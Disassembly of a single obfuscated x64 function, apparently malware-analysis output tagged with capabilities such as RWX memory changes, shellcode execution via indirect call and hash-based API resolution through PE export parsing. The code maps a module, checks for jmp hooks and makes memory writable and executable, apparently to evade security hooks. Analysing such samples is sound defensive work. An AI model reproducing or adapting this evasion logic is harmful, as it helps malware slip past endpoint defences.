Function at 0x180007d74
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Resolve function by parsing pe exports

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x268
mov qword [rsp + 0x150], rdx
mov qword [rsp + 0xd0], rcx
lea rax, [rsp + 0xb8]
mov qword [rsp + 0xd8], rax
mov rcx, qword [rsp + 0xd8]
mov dword [rax], 0x10b
lea rax, [rsp + 0xb4]
mov qword [rsp + 0xe0], rax
mov rcx, qword [rsp + 0xe0]
mov dword [rax], 0x20b
lea rax, [rsp + 0x160]
mov qword [rsp + 0xe8], rax
mov rax, qword [rsp + 0xe8]
xor ecx, ecx
mov edx, 1
mov r8d, 0xc8ac8026
mov r9d, 2
call fcn.1800127bb
mov qword [rsp + 0x38], rax
mov eax, 0x7e1da214
mov esi, 0x487399ab
cmp eax, 0x487399aa
jg 0x180007e29
cmp eax, 0xd3f4fc70
je 0x180007e47
cmp eax, 0xd8700f78
jne 0x180007e12
jmp 0x180007e69
cmp eax, 0x487399ab
je 0x180007e60
cmp eax, 0x7e1da214
jne 0x180007e12
cmp qword [rsp + 0x38], 0
mov eax, 0xd3f4fc70
cmove eax, esi
jmp 0x180007e12
mov rax, qword [rsp + 0x38]
mov rcx, qword [rsp + 0xd0]
call rax
mov rbx, rax
mov eax, 0xd8700f78
jmp 0x180007e12
mov eax, 0xd8700f78
xor ebx, ebx
jmp 0x180007e12
xor ecx, ecx
mov edx, 1
mov r8d, 0x774393e8
mov r9d, 0x32
call fcn.1800127bb
mov qword [rsp + 0x38], rax
mov eax, 0xc9b3ebd2
lea rsi, [rsp + 0x160]
mov edi, 0xc0725780
cmp eax, 0xc9b3ebd1
jg 0x180007eaf
cmp eax, 0xc0725780
je 0x180007ee0
cmp eax, 0xc73d6879
jne 0x180007e98
jmp 0x180007ee7
cmp eax, 0xd511a0ea
je 0x180007ecd
cmp eax, 0xc9b3ebd2
jne 0x180007e98
cmp qword [rsp + 0x38], 0
mov eax, 0xd511a0ea
cmove eax, edi
jmp 0x180007e98
mov rax, qword [rsp + 0x38]
mov rcx, rbx
mov rdx, rsi
mov r8d, 0x104
call rax
mov eax, 0xc73d6879
jmp 0x180007e98
xor ecx, ecx
mov edx, 1
mov r8d, 0x4b935b8e
mov r9d, 6
call fcn.1800127bb
mov qword [rsp + 0x38], rax
mov eax, 0x6789dc6a
mov esi, 0x93f3989c
cmp eax, 0xd31247f3
jg 0x180007f25
cmp eax, 0x93f3989c
je 0x180007f4d
cmp eax, 0xb18c0ca7
jne 0x180007f0e
jmp 0x180007f54
cmp eax, 0xd31247f4
je 0x180007f43
cmp eax, 0x6789dc6a
jne 0x180007f0e
cmp qword [rsp + 0x38], 0
mov eax, 0xd31247f4
cmove eax, esi
jmp 0x180007f0e
mov rax, qword [rsp + 0x38]
mov rcx, rbx
call rax
mov eax, 0xb18c0ca7
jmp 0x180007f0e
xor ecx, ecx
mov edx, 1
mov r8d, 0x8f8f114
mov r9d, 0x14
call fcn.1800127bb
mov qword [rsp + 0x38], rax
mov ecx, 0x181d91f4
lea rsi, [rsp + 0x160]
mov edi, 0x69428c01
cmp ecx, 0x181d91f3
jg 0x180007f9d
cmp ecx, 0xe1bdcd85
je 0x180007fbd
cmp ecx, 0xe4533719
jne 0x180007f83
jmp 0x180007ffd
cmp ecx, 0x69428c01
je 0x180007ff4
cmp ecx, 0x181d91f4
jne 0x180007f83
cmp qword [rsp + 0x38], 0
mov ecx, 0xe1bdcd85
cmove ecx, edi
jmp 0x180007f83
mov rax, qword [rsp + 0x38]
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
mov rcx, rsi
mov edx, 0x80000000
mov r8d, 1
xor r9d, r9d
call rax
mov ecx, 0xe4533719
jmp 0x180007f83
mov ecx, 0xe4533719
xor eax, eax
jmp 0x180007f83
mov qword [rsp + 0xa0], rax
mov eax, 0xcd9287bb
cmp eax, 0xfd0b8e08
jle 0x180008078
cmp eax, 0x374a8094
jle 0x180008102
cmp eax, 0x5fe2ddea
jle 0x1800081c9
cmp eax, 0x727e6fae
jg 0x180008308
cmp eax, 0x5fe2ddeb
je 0x18000849f
cmp eax, 0x61ab55ed
je 0x180008509
cmp eax, 0x65d40b3b
jne 0x18000800a
mov rcx, qword [rsp + 0xa8]
mov rdx, qword [rsp + 0x58]
mov r8d, 2
call fcn.180012af7
test eax, eax
mov eax, 0x5fe2ddeb
mov ecx, 0xedb0e66a
cmove eax, ecx
jmp 0x18000800a
cmp eax, 0xb138b4a9
jle 0x180008183
cmp eax, 0xd0f9427a
jle 0x180008204
cmp eax, 0xedb0e669
jg 0x18000833e
cmp eax, 0xd0f9427b
je 0x180008551
cmp eax, 0xd78c81de
je 0x1800085be
cmp eax, 0xe2cb4e4e
jne 0x18000800a
mov eax, dword [rsp + 0x98]
mov rcx, qword [rsp + 0xf8]
mov qword [rsp + 0x20], rax
mov edx, 4
xor r8d, r8d
xor r9d, r9d
call qword [0x180039230]
mov qword [rsp + 0x100], rax
cmp qword [rsp + 0x100], 0
mov eax, 0xd0f9427b
mov ecx, 0x51c65012
cmove eax, ecx
jmp 0x18000800a
cmp eax, 0x15572e3d
jg 0x18000824b
cmp eax, 0x2c6834d
jle 0x18000836e
cmp eax, 0x2c6834e
je 0x1800085d6
cmp eax, 0x3edfa10
je 0x1800086db
cmp eax, 0x9642d52
jne 0x18000800a
mov rcx, qword [rsp + 0xa0]
xor esi, esi
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], 0
xor edx, edx
mov r8d, 2
xor r9d, r9d
call qword [0x180039228]
mov qword [rsp + 0xf8], rax
cmp qword [rsp + 0xf8], rsi
mov eax, 0xe2cb4e4e
mov ecx, 0xbb9b8db9
cmove eax, ecx
jmp 0x18000800a
cmp eax, 0x9381156c
jg 0x180008290
cmp eax, 0x84575bf5
jle 0x180008393
cmp eax, 0x84575bf6
je 0x180008761
cmp eax, 0x86c00fea
je 0x180008778
cmp eax, 0x8fef8b28
jne 0x18000800a
mov eax, 0x4ed6509e
mov ebx, 5
jmp 0x18000800a
cmp eax, 0x4b08f51d
jle 0x1800083bc
cmp eax, 0x4b08f51e
je 0x1800087a5
cmp eax, 0x4ed6509e
je 0x1800087b8
cmp eax, 0x51c65012
jne 0x18000800a
mov eax, 0x4ed6509e
mov ebx, 4
jmp 0x18000800a
cmp eax, 0xc361a098
jle 0x18000841d
cmp eax, 0xc361a099
je 0x1800087d1
cmp eax, 0xc58aa041
je 0x1800087f7
cmp eax, 0xcd9287bb
jne 0x18000800a
cmp qword [rsp + 0xa0], 0
mov eax, 0xfd0b8e09
mov ecx, 0x7ec40ea4
cmove eax, ecx
jmp 0x18000800a
cmp eax, 0x1cd5951f
jle 0x180008442
cmp eax, 0x1cd59520
je 0x180008808
cmp eax, 0x25113c85
je 0x180008819
cmp eax, 0x2f6b1a64
jne 0x18000800a
mov eax, 0x4031cc39
mov dword [rsp + 0x84], ebp
mov dword [rsp + 0x80], r15d
jmp 0x18000800a
cmp eax, 0x9886c319
jle 0x18000846b
cmp eax, 0x9886c31a
je 0x18000882a
cmp eax, 0x9cbc163b
je 0x1800088c6
cmp eax, 0xa1e5f654
jne 0x18000800a
mov rdx, qword [rsp + 0xa8]
mov rcx, qword [rsp + 0x58]
mov r8d, 0xa
call fcn.1800129f2
mov r8d, dword [rsp + 0x94]
mov rcx, qword [rsp + 0x58]
mov edx, 0x40
lea r9, [rsp + 0x90]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
mov eax, 0xd78c81de
mov ecx, 0x72ad6490
cmove eax, ecx
jmp 0x18000800a
cmp eax, 0x727e6faf
je 0x1800088dc
cmp eax, 0x72ad6490
je 0x1800088ff
cmp eax, 0x7ec40ea4
jne 0x18000800a
mov eax, 0xfcfb65c9
mov dword [rsp + 0x8c], 1
jmp 0x18000800a
cmp eax, 0xfcfb65c9
je 0x180008ad1
cmp eax, 0xedb0e66a
jne 0x18000800a
mov eax, dword [rsp + 0x54]
mov dword [rsp + 0x78], eax
mov eax, 0x84575bf6
mov ecx, dword [rsp + 0x44]
mov dword [rsp + 0x7c], ecx
jmp 0x18000800a
cmp eax, 0xfd0b8e09
je 0x180008915
cmp eax, 0xd3c2c6
jne 0x18000800a
mov eax, 0x4ed6509e
mov ebx, 2
jmp 0x18000800a
cmp eax, 0x80883724
je 0x1800083a5
cmp eax, 0x82b16013
jne 0x18000800a
mov r13d, dword [rsp + 0x54]
mov eax, 0x25113c85
mov ecx, dword [rsp + 0x44]
mov dword [rsp + 0x64], ecx
jmp 0x18000800a
cmp eax, 0x374a8095
je 0x1800089bb
cmp eax, 0x4031cc39
jne 0x18000800a
mov rax, qword [rsp + 0x140]
add rax, 4
mov qword [rsp + 0xc0], rax
mov r14, qword [rsp + 0x148]
add r14, 2
mov eax, 0x61ab55ed
mov ecx, dword [rsp + 0xbc]
mov dword [rsp + 0x74], ecx
mov ecx, dword [rsp + 0x84]
mov dword [rsp + 0x70], ecx
mov ecx, dword [rsp + 0x80]
mov dword [rsp + 0x6c], ecx
jmp 0x18000800a
cmp eax, 0xb138b4aa
je 0x1800089e1
cmp eax, 0xbb9b8db9
jne 0x18000800a
mov eax, 0x4ed6509e
mov ebx, 3
jmp 0x18000800a
cmp eax, 0x15572e3e
je 0x180008a01
cmp eax, 0x156480cd
jne 0x18000800a
mov rax, qword [rsp + 0x58]
cmp byte [rax + 1], 0x25
mov eax, 0x80883724
jmp 0x180008798
cmp eax, 0x9381156d
je 0x180008a16
cmp eax, 0x96740bed
jne 0x18000800a
mov eax, dword [rsp + 0x9c]
cmp eax, 0xff
mov eax, 0x82b16013
mov ecx, 0x156480cd
cmove eax, ecx
jmp 0x18000800a
lea r9, [rsp + 0x94]
mov qword [rsp + 0x130], r9
mov rax, qword [rsp + 0x130]
xor ecx, ecx
mov dword [rsp + 0x94], ecx
lea rax, [rsp + 0x90]
mov qword [rsp + 0x138], rax
mov rax, qword [rsp + 0x138]
mov dword [rsp + 0x90], ecx
mov rcx, qword [rsp + 0x58]
mov edx, 0x40
mov r8d, 0x40
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
mov eax, 0xa1e5f654
mov ecx, 0x9cbc163b
cmove eax, ecx
jmp 0x18000800a
mov rax, qword [rsp + 0xc0]
mov qword [rsp + 0x140], rax
mov qword [rsp + 0x148], r14
mov eax, dword [rsp + 0x70]
mov dword [rsp + 0x44], eax
mov eax, dword [rsp + 0x6c]
mov dword [rsp + 0x54], eax
mov eax, dword [rsp + 0x74]
sub eax, 1
mov dword [rsp + 0xbc], eax
mov eax, 0x3edfa10
mov ecx, 0x727e6faf
cmovb eax, ecx
jmp 0x18000800a
mov rax, qword [rsp + 0x100]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
movsxd rax, dword [rax + 0x3c]
add rax, qword [rsp + 0x48]
mov qword [rsp + 0x108], rax
mov rax, qword [rsp + 0x108]
add rax, 0x18
mov qword [rsp + 0x110], rax
mov rax, qword [rsp + 0x110]
mov qword [rsp + 0x118], rax
mov rax, qword [rsp + 0x118]
movzx eax, word [rax]
mov ecx, dword [rsp + 0xb8]
cmp ecx, eax
mov eax, 0xc361a099
mov ecx, 0xc58aa041
cmove eax, ecx
jmp 0x18000800a
mov edi, dword [rsp + 0x44]
inc edi
mov eax, 0x374a8095
mov ecx, dword [rsp + 0x54]
mov dword [rsp + 0x68], ecx
jmp 0x18000800a
mov dword [rsp + 0x60], r13d
mov r12d, edi
mov r13d, r15d
mov r15d, ebx
mov rax, qword [rsp + 0xc8]
mov ecx, dword [rax]
mov rdx, qword [rsp + 0x48]
call fcn.180008b04
mov eax, eax
mov rcx, qword [rsp + 0x48]
lea r14, [rcx + rax]
add r14, 0x1c
mov ecx, dword [r14 + 4]
mov rdx, qword [rsp + 0x48]
call fcn.180008b04
mov ebx, eax
mov rdi, qword [rsp + 0x48]
mov qword [rsp + 0x120], r14
mov rax, qword [rsp + 0x120]
mov ecx, dword [rax]
mov rdx, qword [rsp + 0x48]
call fcn.180008b04
mov ecx, dword [r14 + 8]
mov rdx, qword [rsp + 0x48]
call fcn.180008b04
mov esi, eax
mov rax, qword [rsp + 0x48]
mov ecx, dword [r14 - 4]
mov dword [rsp + 0x74], ecx
mov r14, rax
xor ecx, ecx
mov edx, 1
mov r8d, 0xc8ac8026
mov r9d, 2
call fcn.1800127bb
mov qword [rsp + 0x38], rax
mov ecx, 0x7e1da214
cmp ecx, 0x487399aa
jg 0x180008697
cmp ecx, 0xd3f4fc70
je 0x1800086bc
cmp ecx, 0xd8700f78
jne 0x18000867a
jmp 0x180008a34
cmp ecx, 0x487399ab
je 0x1800086d2
cmp ecx, 0x7e1da214
jne 0x18000867a
cmp qword [rsp + 0x38], 0
mov ecx, 0xd3f4fc70
mov edx, 0x487399ab
cmove ecx, edx
jmp 0x18000867a
mov rax, qword [rsp + 0x38]
mov rcx, qword [rsp + 0xd0]
call rax
mov ecx, 0xd8700f78
jmp 0x18000867a
mov ecx, 0xd8700f78
xor eax, eax
jmp 0x18000867a
mov rax, qword [rsp + 0x140]
mov ecx, dword [rax]
mov rdx, qword [rsp + 0x48]
call fcn.180008b04
mov eax, eax
add rax, qword [rsp + 0x48]
mov qword [rsp + 0x158], rax
mov rax, qword [rsp + 0x120]
mov ecx, dword [rax]
mov rdx, qword [rsp + 0x48]
call fcn.180008b04
mov eax, eax
add rax, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x148]
movzx ecx, word [rcx]
mov ecx, dword [rax + rcx*4]
mov rdx, qword [rsp + 0x48]
call fcn.180008b04
mov eax, eax
add rax, qword [rsp + 0x48]
mov qword [rsp + 0xa8], rax
mov rcx, qword [rsp + 0xa8]
call fcn.180008db2
test al, al
mov eax, 0x9886c31a
mov ecx, 0xb138b4aa
cmovne eax, ecx
jmp 0x18000800a
mov eax, 0x25113c85
mov ecx, dword [rsp + 0x7c]
mov dword [rsp + 0x64], ecx
mov r13d, dword [rsp + 0x78]
jmp 0x18000800a
mov rax, qword [rsp + 0x58]
movzx eax, byte [rax]
mov dword [rsp + 0x9c], eax
mov eax, dword [rsp + 0x9c]
cmp eax, 0xe9
mov eax, 0x96740bed
mov ecx, 0x65d40b3b
cmove eax, ecx
jmp 0x18000800a
mov r15d, dword [rsp + 0x54]
mov eax, 0x2f6b1a64
mov ebp, dword [rsp + 0x44]
jmp 0x18000800a
mov rax, qword [rsp + 0xf0]
mov eax, 0xfcfb65c9
mov dword [rsp + 0x8c], ebx
jmp 0x18000800a
mov rax, qword [rsp + 0x118]
movzx eax, word [rax]
mov ecx, dword [rsp + 0xb4]
cmp ecx, eax
mov eax, 0x8fef8b28
mov ecx, 0x9381156d
cmove eax, ecx
jmp 0x18000800a
mov rax, qword [rsp + 0x108]
add rax, 0x78
jmp 0x180008a22
mov eax, 0x4ed6509e
mov ebx, dword [rsp + 0x88]
jmp 0x18000800a
mov eax, 0x2f6b1a64
mov ebp, dword [rsp + 0x64]
mov r15d, r13d
jmp 0x18000800a
mov dword [rsp + 0x60], edi
mov r12d, r15d
mov r15, r14
mov edi, ebx
mov rsi, qword [rsp + 0x128]
mov rbx, qword [rsp + 0x158]
xor ecx, ecx
mov edx, 1
mov r8d, 0x1fc0eaee
mov r9d, 7
call fcn.1800127bb
mov qword [rsp + 0x38], rax
mov ecx, 0x2bddb4f4
cmp ecx, 0x1b1fb097
jg 0x180008894
cmp ecx, 0x92e3f3b9
je 0x1800088bd
cmp ecx, 0xeddf4628
jne 0x180008868
mov rax, qword [rsp + 0x38]
mov rcx, rsi
mov rdx, rbx
call rax
mov ecx, 0x1b1fb098
jmp 0x180008868
cmp ecx, 0x1b1fb098
je 0x180008a87
cmp ecx, 0x2bddb4f4
jne 0x180008868
cmp qword [rsp + 0x38], 0
mov ecx, 0xeddf4628
mov edx, 0x92e3f3b9
cmove ecx, edx
jmp 0x180008868
mov ecx, 0x1b1fb098
xor eax, eax
jmp 0x180008868
mov eax, 0x374a8095
mov dword [rsp + 0x68], 7
mov edi, dword [rsp + 0x44]
jmp 0x18000800a
mov eax, dword [rsp + 0x44]
mov rcx, qword [rsp + 0x150]
mov dword [rcx], eax
mov eax, 0x1cd59520
mov ecx, dword [rsp + 0x54]
mov dword [rsp + 0x88], ecx
jmp 0x18000800a
mov eax, 0x374a8095
mov dword [rsp + 0x68], 8
mov edi, dword [rsp + 0x44]
jmp 0x18000800a
lea rax, [rsp + 0xb0]
mov qword [rsp + 0xf0], rax
mov rax, qword [rsp + 0xf0]
mov rsi, qword [rsp + 0xa0]
xor ecx, ecx
mov edx, 1
mov r8d, 0xaef7cbf1
mov r9d, 0x25
call fcn.1800127bb
mov qword [rsp + 0x38], rax
mov ecx, 0x62c72563
cmp ecx, 0x62c72562
jg 0x180008974
cmp ecx, 0xd100ba3a
je 0x180008999
cmp ecx, 0x2ffa18a
jne 0x180008957
jmp 0x180008ab0
cmp ecx, 0x677376c3
je 0x1800089b2
cmp ecx, 0x62c72563
jne 0x180008957
cmp qword [rsp + 0x38], 0
mov ecx, 0xd100ba3a
mov edx, 0x677376c3
cmove ecx, edx
jmp 0x180008957
mov rax, qword [rsp + 0x38]
mov rcx, rsi
lea rdx, [rsp + 0xb0]
call rax
mov ecx, 0x2ffa18a
jmp 0x180008957
mov ecx, 0x2ffa18a
xor eax, eax
jmp 0x180008957
mov rax, qword [rsp + 0x138]
mov rax, qword [rsp + 0x130]
mov eax, 0x84575bf6
mov dword [rsp + 0x7c], edi
mov ecx, dword [rsp + 0x68]
mov dword [rsp + 0x78], ecx
jmp 0x18000800a
mov eax, dword [rsp + 0x54]
mov dword [rsp + 0x80], eax
mov eax, 0x4031cc39
mov ecx, dword [rsp + 0x44]
mov dword [rsp + 0x84], ecx
jmp 0x18000800a
mov eax, 0x1cd59520
mov dword [rsp + 0x88], 6
jmp 0x18000800a
mov rax, qword [rsp + 0x110]
add rax, 0x70
mov qword [rsp + 0xc8], rax
mov eax, 0x2c6834e
jmp 0x18000800a
mov ecx, ebx
add rdi, rcx
mov qword [rsp + 0xc0], rdi
mov ecx, esi
add r14, rcx
mov qword [rsp + 0x128], rax
cmp qword [rsp + 0x128], 0
mov eax, 0x61ab55ed
mov ecx, 0x15572e3e
cmove eax, ecx
mov dword [rsp + 0x70], 0
mov dword [rsp + 0x6c], 0
mov ebx, r15d
mov r15d, r13d
mov edi, r12d
mov r13d, dword [rsp + 0x60]
jmp 0x18000800a
mov qword [rsp + 0x58], rax
cmp qword [rsp + 0x58], 0
mov eax, 0x86c00fea
mov ecx, 0x4b08f51e
cmove eax, ecx
mov ebx, edi
mov r14, r15
mov r15d, r12d
mov edi, dword [rsp + 0x60]
jmp 0x18000800a
mov dword [rsp + 0x98], eax
cmp dword [rsp + 0x98], 0
mov eax, 0x9642d52
mov ecx, 0xd3c2c6
cmove eax, ecx
jmp 0x18000800a
mov rax, qword [rsp + 0xe8]
mov rax, qword [rsp + 0xe0]
mov rax, qword [rsp + 0xd8]
mov eax, dword [rsp + 0x8c]
add rsp, 0x268
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret